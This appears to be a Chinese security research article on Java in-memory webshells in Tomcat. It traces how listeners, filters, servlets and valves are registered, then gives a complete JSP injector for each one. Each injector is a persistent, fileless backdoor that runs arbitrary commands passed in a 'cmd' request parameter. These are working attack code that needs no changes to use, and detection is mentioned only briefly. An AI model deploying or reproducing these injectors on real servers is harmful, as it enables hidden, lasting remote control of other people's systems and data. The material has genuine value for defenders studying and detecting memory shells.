Java內存馬原理研究

一、內存馬攻防技術整體圖景 

從整體攻防領域角度進行分類,內存馬可以分爲如下幾個類型:

  • Servlet-API型:通過模擬中間件註冊流程,動態註冊一個新的listener、filter或者servlet,從而實現一箇中間件後門。特定框架、容器的內存馬原理與此類似,如tomcat的valve內存馬。
  • 字節碼增強型:通過java的instrumentation動態修改應用或者中間件中的已有類代碼,進而實現一個後門。
  • 框架類:通過利用框架提供的一些路由、回調接口實現一個框架後門。如spring攔截器內存馬、spring Controler內存馬

按照以上整體技術圖景,我們將本文的討論重點放在”中間件級別內存馬“這個話題上,

  • ”Java Agent“內存馬由於靈活性太強,理論上可以Hook篡改任意類字節碼,檢測和清理的難度都十分巨大,留待以後的文章進行討論。
  • 框架類內存馬通用性有限,僅能在特定框架下使用,本文會涉及到,但不會深入展開。

爲了簡化篇幅,下文以Tomcat中間件爲例,本質上Jetty原理也是類似的,因爲它們都實現了同樣的J2EE接口。

所謂中間件接口層內存馬,本質上是利用了中間件原生提供的一些”功能“實現了一套運行在內存中的後門邏輯,這些”功能“有一些共性特點,

  • 可以很容易通過HTTP請求來觸發,且觸發條件相對較容易達成,例如”只要收到訪問請求就觸發“
  • 可以很容易通過中間件原生接口進行註冊和銷燬,不需要修改應用或者中間件的字節碼
  • 所涉及到的中間件接口串接在HTTP請求的整個生命週期中,會被中間件以鏈式方式調用,攻擊者額外新增的代碼邏輯不會影響正常的HTTP請求處理,具備很好的隱藏性

 

二、Tomcat Listener內存馬 

0x1:Tomcat基本架構原理 

從整體上,Tomcat架構由Server、Service、Connector、Container組成,如下圖所示,

 

  • Server:Server 服務器的意思,代表整個 tomcat 服務器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 組件,用於提供具體服務。
  • Service:服務是 Server 內部的組件,一個Server可以包括多個Service。它將若干個 Connector 組件綁定到一個 Container
  • Connector:稱作連接器,是 Service 的核心組件之一,一個 Service 可以有多個 Connector,主要連接客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。
  • Container:負責處理用戶的 servlet 請求,也是 Service 的核心組件之一。

從業務功能角度,tomcat作爲一個 Web 服務器,兩個最核心的功能是”Http 服務器功能“和”Servlet 容器功能“:

  • Http 服務器功能:進行 Socket 通信(基於 TCP/IP),解析 HTTP 報文
  • Servlet 容器功能:加載和管理 Servlet,由 Servlet 具體負責處理 Request 請求

以上兩個功能,分別對應着tomcat的兩個核心組件連接器(Connector)和容器(Container),

  • 連接器(Connector):連接器負責對外交流(完成 Http 服務器功能)
  • 容器(Container):容器負責內部處理(完成 Servlet 容器功能)

1、Connector連接器

連接器主要完成以下三個核心功能:

  • socket 通信,也就是網絡編程
  • 解析處理應用層協議,封裝成一個 Request 對象
  • 將 Request 轉換爲 ServletRequest,將 Response 轉換爲 ServletResponse

以上分別對應三個組件 EndPoint、Processor、Adapter 來完成。

  • Endpoint 負責提供請求字節流給Processor
  • Processor 負責提供 Tomcat 定義的 Request 對象給 Adapter
  • Adapter 負責提供標準的 ServletRequest 對象給 Servlet 容器

2、Container容器

Container組件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是

  • Engine:表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多隻能有一個 Engine,但是一個引擎可包含多個 Host
  • Host:代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context
  • Context:表示一個 Web 應用程序,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper
  • Wrapper:表示一個Servlet,負責管理整個 Servlet 的生命週期,包括裝載、初始化、資源回收等

這四種容器成套娃式的分層結構設計。 

如以下圖,a.com和b.com分別對應着兩個Host,

0x2:Listener基本原理

請求網站的時候,Tomcat在處理一個HTTP請求的順序爲:

並且執行的順序不會因爲三個標籤在配置文件中的先後順序而改變。

如果web.xml中配置了<context-param>,初始化順序:context-param > Listener > Filter > Servlet。

其實我們也可以從StandarContext#startInternal中找到對應的調用順序:

// Configure and call application event listeners
if (ok) {
    if (!listenerStart()) {
        log.error(sm.getString("standardContext.listenerFail"));
        ok = false;
    }
}

// Check constraints for uncovered HTTP methods
// Needs to be after SCIs and listeners as they may programmatically
// change constraints
if (ok) {
    checkConstraintsForUncoveredMethods(findConstraints());
}

try {//
}

// Configure and call application filters
if (ok) {
    if (!filterStart()) {
        log.error(sm.getString("standardContext.filterFail"));
        ok = false;
    }
}

// Load and initialize all "load on startup" servlets
if (ok) {
    if (!loadOnStartup(findChildren())){
        log.error(sm.getString("standardContext.servletFail"));
        ok = false;
    }
}

listener是web三大組件之一,是servlet監聽器,用來監聽請求,監聽服務端的操作。負責對Context、Session、Request、參數等創建、銷燬變化的監聽,可以添加上對應動作。

Java中總共有8個Listener,不同的Listener有不同的生命週期,其大致可分爲3類如下:

  • 生命週期監聽器
    • ServletContextListener
      • requestInitialized 在容器啓動時被調用(在servlet被實例化前執行)
      • requestDestroyed 在容器銷燬時調用(在servlet被銷燬後執行)
    • HttpSessionListener
      • sessionCreated 在HttpSession創建後調用
      • sessionDestroyed 在HttpSession銷燬前調用(執行session.invalidate();方法)
    • ServletRequestListener
      • requestDestroyed 在request對象創建後調用(發起請求)
      • requestInitialized 在request對象銷燬前調用(請求結束)
  • 屬性變化監聽器
    • HttpSessionAttributeListener
      • attributeAdded(HttpSessionBindingEvent event)
      • attributeRemoved(HttpSessionBindingEvent event)
      • attributeReplaced(HttpSessionBindingEvent event)
    • ServletRequestAttributeListener
      • attributeAdded(ServletRequestAttributeEvent event)
      • attributeRemoved(ServletRequestAttributeEvent event)
      • attributeReplaced(ServletRequestAttributeEvent event)
  • session中指定類屬性變化監聽器
    • HttpSessionBindingListener 
      • valueBound(HttpSessionBindingEvent event) 當該類實例設置進session域中時調用
      • valueUnbound(HttpSessionBindingEvent event) 當該類的實例從session域中移除時調用
    • HttpSessionActivationListener 
      • sessionWillPassivate(HttpSessionEvent se) 當對象session被序列化(鈍化)後調用
      • sessionDidActivate(HttpSessionEvent se) 當對象session被反序列化(活化)後調用

因爲Listener是最先被加載的, 所以可以利用動態註冊惡意的Listener內存馬。而Listener分爲以下幾種:

  • ServletContext,服務器啓動和終止時觸發
  • Session,有關Session操作時觸發
  • Request,訪問服務時觸發

其中關於監聽Request對象的監聽器是最適合做內存馬的,只要訪問服務就能觸發操作。

我們接下來重點分析Request相關接口。

如果在Tomcat要引入listener,需要實現兩種接口,分別是

  • LifecycleListener
  • EvenListener

實現了LifecycleListener接口的監聽器一般作用於tomcat初始化啓動階段,此時客戶端的請求還沒進入解析階段,不適合用於內存馬。

所以來看另一個EventListener接口,在Tomcat中,自定義了很多繼承於EventListener的接口,應用於各個對象的監聽。

重點來看ServletRequestListener接口,

ServletRequestListener用於監聽ServletRequest對象的創建和銷燬,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized方法。 

我們通過源碼來分析一下ServletRequestListener與其執行流程。

寫一個繼承於ServletRequestListener接口的TestListener:

package memshell.Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestInitialized");
    }
}

在web.xml中配置:

    <listener>
        <listener-class>memshell.Listener.TestListener</listener-class>
    </listener>

訪問任意的路徑:http://localhost:8080/11

可以看到控制檯打印了信息,tomcat先執行了requestInitialized,然後再執行了requestDestroyed。 

  • requestInitialized:在request對象創建時觸發
  • requestDestroyed:在request對象銷燬時觸發

搞明白了listener的調用點,接下來繼續研究如何添加listener。

接以上環境,直接在requestInitialized處下斷點,訪問url後,顯示出整個調用鏈。

通過調用鏈發現,Tomcat在StandardHostValve中調用了我們定義的Listener,

跟進context.fireRequestInitEvent,通過StandardContext#getApplicationEventListeners方法獲得的listener。

繼續往下,調用了requestInitialized方法,

繼續往前追溯,listener是在ApplicationContext#addListener中,調用StandardContext#addApplicationEventListener添加的listener,即應用初始化的時候添加的listener。

0x3:Listener內存馬基本原理

搞清楚了Listener的基本原理和調用流程,我們的思路就是通過調用StandardContext#addApplicationEventListener方法,add我們自己寫的惡意listener。

在jsp中獲得StandardContext對象有兩種方法,

方式一:
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

jsp listener內存馬代碼如下,listener_memshell.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

首先訪問上傳的listener_memshell.jsp生成listener內存馬,之後即使listener_memshell.jsp刪除,只要不重啓服務器,內存馬就能存在。

http://localhost:8080/memshell/listener_memshell.jsp?cmd=open%20-a%20Calculator

通過memshell_scan檢測,

參考鏈接:

https://xz.aliyun.com/t/10358#toc-6 
https://chenlvtang.top/2022/08/03/Tomcat%E4%B9%8BListener%E5%86%85%E5%AD%98%E9%A9%AC/
https://blog.csdn.net/leichengjun_510/article/details/85338230
https://blog.csdn.net/weixin_39915694/article/details/114788228
https://developer.aliyun.com/article/932526 

 

三、Tomcat Filter內存馬 

0x1:Filter基本原理

我們知道當tomcat接收到請求時候,依次會經過Listener -> Filter -> Servlet,

所以,我們也可以通過動態添加Filter來構成內存馬。

從上圖中可以看到,當請求完成listener處理邏輯,到達Wrapper容器時候,會開始調用FilterChain,這個FilterChain就是若干個Filter組成的過濾器鏈。最後纔會達到Servlet。

因此,只要把我們的惡意filter放入filterchain的第一個位置,就可以觸發惡意filter中的方法。

0x2:Filter註冊流程

要在FilterChain中加入惡意filter,首先要了解tomcat中Filter的註冊流程,

在上圖中可以看到,Wrapper容器調用FilterChain的地方就在StandardWrapperValve類中,

編寫一個註冊filter的測試代碼,

package memshell.Filter;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter過濾");
        //放行
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter銷燬");

    }
}

配置web.xml

<filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>memshell.Filter.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

在doFilter處下斷點,訪問任意url:http://127.0.0.1:8080/xxx

可以看到在StandardWrapperValve#invoke中,通過createFilterChain方法獲得了一個ApplicationFilterChain類型的filterChain, 

其filterChain中存放了兩個ApplicationFilterConfig類型的filter,其中第一個就是TestFilter,

跟進doFilter方法,在方法中調用了internalDoFilter,

跟進internalDoFilter後看到,從filters數組裏面拿到了第一個filter即Testfilter, 

最後調用了filter.doFilter,

從整個跟蹤過程可以看到,filter是從filters數組中拿到的。接下來查看createFilterChain如何把我們寫的TestFilter添加ApplicationFilterConfig的。

重啓tomcat,在createFilterChain這裏斷下來,

跟進ApplicationFilterFactory#createFilterChain中,看到首先拿到了個ServletRequest,然後通過ServletRequest#getFilterChain獲取到了filterChain。

繼續往下看,通過StandardContext對象找到了filterMaps[]。

然後又通過filterMaps中的名字,找到StandardContext對象中的FilterConfig,最後把FilterConfig加入了filterChain中。

跟進filterChain.addFilter看到,也就是加入了前面說的filters數組ApplicationFilterConfig中。這裏和上面一步的操作就是遍歷filter放入ApplicationFilterConfig。 

通過以上調試發現,有兩個很重要的變量,filterMap和filterConfig。

  • filterMaps:用於獲取filter名字
  • filterConfigs:用於獲取過濾器配置

其實這兩個變量都是在StandardContext對象裏面存放了,其中還有個變量filterDefs也是重要的變量。 

我們如果想要向tomcat注入filter內存馬,就需要找到一種渠道,直接向StandardContext對象中注入我們自定義的filter對象。

接下來我們分析filterMaps、filterConfigs、filterDefs的生成邏輯。

  • filterMaps

既然這三個變量都是從StandardContext中獲得,那麼查看StandardContext發現有兩個方法可以添加filterMap,

  • filterConfigs 

在StandardContext中同樣尋找添加filterConfig值的地方,發現有一處filterStart方法,此處添加是在tomcat啓動時完成,所以下好斷點啓動tomcat。

filterDefs中存放着TestFilter,遍歷這個filterDefs,拿到key爲TestFilter,value爲FilterDef對象,值test.Testfilter。

接下來new了一個ApplicationFilterConfig,放入了value,然後把nam=TestFilter和filterConfig放入了filterConfigs。

  • filterDefs

filterDefs纔是真正放了過濾器的地方,那麼我們看下filterDefs在哪裏被加入了。

在StandardContext中同樣有個addFilterDef方法,

tomcat是從web.xml中讀取的filter,然後加入了filterMap和filterDef變量中,以下對應着這兩個變量,

0x3:Filter內存馬注入原理

通過上一章對filter註冊過程的分析,我們只要通過控制filterMaps、filterConfigs、filterDefs的值,則可以模擬tomcat的filter註冊流程,注入惡意的內存馬filter。

  • filterMaps:一個HashMap對象,包含過濾器名字和URL映射
  • filterDefs:一個HashMap對象,過濾器名字和過濾器實例的映射
  • filterConfigs變量:一個ApplicationFilterConfig對象,裏面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "littlehann";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("open","-a",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 將filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Filter Memshell Inject Success !");
    }
%>

首先訪問上傳的filter_memshell.jsp生成filter內存馬,之後即使filter_memshell.jsp刪除,只要不重啓服務器,內存馬就能存在。

http://localhost:8080/memshell/filter_memshell.jsp?cmd=Calculator

注入成功後,就可以通過cmd參數傳入參數執行命令,

上面代碼用的是open新進程,如果想要執行任意指令,可以改用如下代碼,

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "littlehann";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 將filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Filter Memshell Inject Success !");
    }
%>

訪問如下鏈接,第一次注入filter內存馬,從第二次之後可以通過cmd參數執行任意指令。

http://localhost:8080/memshell/filter_memshell.jsp?cmd=open%20-a%20Calculator

通過memshell_scan檢測,

參考鏈接:

https://xz.aliyun.com/t/10362 
https://www.anquanke.com/post/id/266240 

 

四、Tomcat Servlet內存馬 

Servlet型的內存馬原理就是註冊一個惡意的Servlet,與Filter相似,只是創建過程不同。

核心還是看StandardContext,在init filter後就調用了loadOnStartup方法實例化servlet。

可以發現servlet的相關信息是保存在StandardContext的children字段。

根據以下代碼可知,只要在children字段添加相應的servlet,loadOnStartup就能夠完成init。

接下去就要尋找如何添加惡意wrapper至children,找到addchild方法。

尋找創建wrapper實例的代碼,發現createWrapper方法,這樣創建惡意servlet流程就清楚了。

  • 創建惡意的servlet實例
  • 獲取standardContext實例
  • 調用createWrapper方法並設置相應參數
  • 調用addchild函數
  • 爲了將servlet與相應url綁定,調用addServletMappingDecoded方法
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "servletshell";
    // 獲取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
            }
        }

        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/*",name);
    out.print("Servlet Memshell Inject Success !");

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

訪問如下鏈接,第一次注入servlet內存馬,從第二次之後可以通過cmd參數執行任意指令。

http://localhost:8080/memshell/servlet_memshell.jsp?cmd=open%20-a%20Calculator

  

五、Tomcat Valve內存馬 

0x1:Valve基本原理

Tomcat中按照包含關係一共有四個容器:engine,host,context,wrapper。

在每個容器對象裏面都有一個pipeline及valve模塊,它們是容器類必須具有的模塊,在容器對象生成時自動產生。Pipeline就像是每個容器的邏輯總線。在pipeline上按照配置的順序,加載各個valve,通過pipeline完成各個valve之間的調用,各個valve實現具體的應用邏輯。

四個容器中每個容器都包含自己的管道對象,管道對象用來存放若干閥門對象,但tomcat會爲每一個容器制定一個默認的基礎閥門:

  • Engine:org.apache.catalina.core.StandardEngineValve
  • Host:org.apache.catalina.core.StandardHostValve
  • Context:org.apache.catalina.core.StandardContextValve
  • Wrapper:org.apache.catalina.core.StandardWrapperValve

四個基礎閥門放在各自容器管道的最後一位,用於查找下一級容器的管道。

當各個容器類調用getPipeLine().getFirst().invoke(Request req, Response resp)時,會首先調用用戶添加的Valve,最後再調用上述缺省的Standard-Valve。

注意,每一個上層的Valve都是在調用下一層的Valve,並等待下層的Valve返回後才完成的,這樣上層的Valve不僅具有Request對象,同時還能獲取到Response對象。使得各個環節的Valve均具備了處理請求和響應的能力。

當在server.xml文件中配置了一個定製化valve時,會調用pipeline對象的addValve方法,將valve以鏈表方式組織起來。

Valve hander代碼如下,

package memshell.Valve;

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;

public class TestHandlerValve extends ValveBase {
    private Valve next;

    @Override
    public Valve getNext() {
        return next;
    }

    @Override
    public void setNext(Valve valve) {
        next = valve;
    }

    @Override
    public void backgroundProcess() {
    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {

        System.out.println("=====================start===================");

        System.out.println("#getNext().getClass().getName(): "+getNext().getClass().getName());
        System.out.println(this.getClass().getName()+"#invoke");

        System.out.println("request: "+request);
        System.out.println("response: "+response);

        System.out.println("request.getServletPath():"+request.getServletPath());

        System.out.println("request.getQueryString():"+request.getQueryString());

        //例如這裏可以獲取請求體長度,用來記錄請求流量
        System.out.println("request.getContentLength(): "+request.getContentLength());

        //例如獲取響應的流量
        System.out.println("response.getBytesWritten(false): "+response.getBytesWritten(false));

        System.out.println("==================end======================");

        getNext().invoke(request, response);
    }

    @Override
    public boolean isAsyncSupported() {
        return true;
    }
} 

從上面可以清楚的看出,valve按照容器作用域的配置順序來組織valve,每個valve都設置了指向下一個valve的next引用。同時,每個容器缺省的標準valve都存在於valve鏈表尾端,這就意味着,在每個pipeline中,缺省的標準valve都是按順序,最後被調用。

0x2:Valve內存馬基本原理

基於以上對tomcat valve初始化和調用順序原理的分析,我們可以嘗試自己創建惡意valve,重寫其invoke方法,添加到四大容器中的pipeline。在發送request時,就能夠對其進行操作,執行java代碼。

在Pipeline類中找到方法addValve,可以添加valve。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public final class myvalve implements Valve{
        private Valve next;

        @Override
        public Valve getNext() {
            return next;
        }

        @Override
        public void setNext(Valve valve) {
            next = valve;
        }

        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            if (req.getParameter("cmd") != null){
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                resp.getWriter().write(output);
                resp.getWriter().flush();
                resp.getWriter().close();
            }
            this.getNext().invoke(request,response);
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    final String name = "shell";
    // 獲取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    myvalve myvalve = new myvalve();
    standardContext.getPipeline().addValve(myvalve);

    out.print("Valve Memshell Inject Success !");
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html> 

訪問如下鏈接,第一次注入servlet內存馬,從第二次之後可以通過cmd參數執行任意指令。

http://localhost:8080/memshell/valve_memshell.jsp?cmd=open%20-a%20Calculator

參考鏈接:

https://www.cnblogs.com/benwu/articles/6081906.html 
https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw 
https://www.cnblogs.com/chengwenqin/p/14211808.html 
https://www.cnblogs.com/xyylll/p/15463635.html 

 

六、Tomcat WebSocket內存馬

0x1:什麼是WebSocket?

WebSocket是一種全雙工通信協議,即客戶端可以向服務端發送請求,服務端也可以主動向客戶端推送數據。這樣的特點,使得它在一些實時性要求比較高的場景效果斐然(比如微信朋友圈實時通知、在線協同編輯等)。

主流瀏覽器以及一些常見服務端通信中間件(Tomcat、Spring、Jetty、WebSphere、WebLogic等)都對WebSocket進行了技術支持。

0x2:WebSocket解決了什麼問題?

HTTP/1.1最初是爲網絡中超文本資源(HTML),請求-響應傳輸而設計的,後來支持了傳輸更多類型的資源,如圖片、視頻等,但都沒有改變它單向的請求-響應模式。隨着互聯網的日益壯大,HTTP/1.1功能使用上已體現捉襟見肘的疲態。雖然可以通過某些方式滿足需求(如Ajax、Comet),但是性能上還是侷限於HTTP/1.1的技術瓶頸:

  • 請求-響應模式,只能客戶端發送請求給服務端,服務端纔可以發送響應數據給客戶端。
  • 傳輸數據爲文本格式,且請求/響應頭部冗長重複。

在WebSocket出現之前,主要通過長輪詢和HTTP長連接實現實時數據更新,這種方式有個統稱叫Comet,Tomcat8.5之前有對Comet基於流的HTTP長連接做支持,後來因爲WebSocket的成熟和標準化,以及Comet自身依然是基於HTTP,在性能消耗和瓶頸上無法跳脫HTTP,就把Comet廢棄了。

還有一個SPDY技術,也對HTTP進行了改進,多路複用流、服務器推送等,後來演化成HTTP/2.0,不過對於HTTP/2.0和WebSocket在Tomcat實現中都是作爲協議升級來處理的。

在這種背景下,HTML5制定了WebSocket:

  • 籌備階段,WebSocket被劃分爲HTML5標準的一部分,2008年6月,Michael Carter進行了一系列討論,最終形成了稱爲WebSocket的協議。
